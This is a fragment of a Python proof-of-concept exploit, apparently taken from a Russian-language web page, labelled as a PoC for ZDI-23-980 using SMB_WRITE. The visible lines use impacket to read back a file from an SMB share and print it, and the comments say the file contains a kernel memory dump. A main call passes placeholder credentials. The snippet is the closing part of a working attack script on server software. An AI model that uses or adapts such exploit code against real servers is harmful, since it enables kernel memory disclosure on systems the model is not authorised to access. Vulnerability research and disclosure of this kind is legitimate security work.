conn.close(tree_id, file_id) # close fd's bcs impacket is impacket
print(f"[*] reading file containing kernel memory: '{filename}'")
conn.retrieveFile(share, filename, print) # print file (containing kmem dump)
if __name__ == "__main__":
main("user", "pass", "files", "dump.bin")
Копировать
ZDI-23-980PoC-эксплойт с использованиемSMB_WRITE